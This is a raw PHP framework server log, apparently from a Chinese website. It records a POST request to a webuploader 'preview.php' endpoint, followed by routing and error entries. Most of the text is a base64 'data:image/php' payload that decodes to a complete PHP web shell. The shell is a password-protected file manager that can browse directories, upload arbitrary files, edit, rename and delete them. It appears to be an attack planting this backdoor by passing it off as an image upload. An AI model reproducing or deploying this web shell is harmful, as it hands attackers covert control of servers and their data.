'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:05+08:00 ] 119.42.146.234 POST 51tianwei.com/template/admin/public/js/webuploader/0.1.5/server/preview.php [运行时间:0.002991s] [吞吐率:334.34req/s] [内存消耗:274.50kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 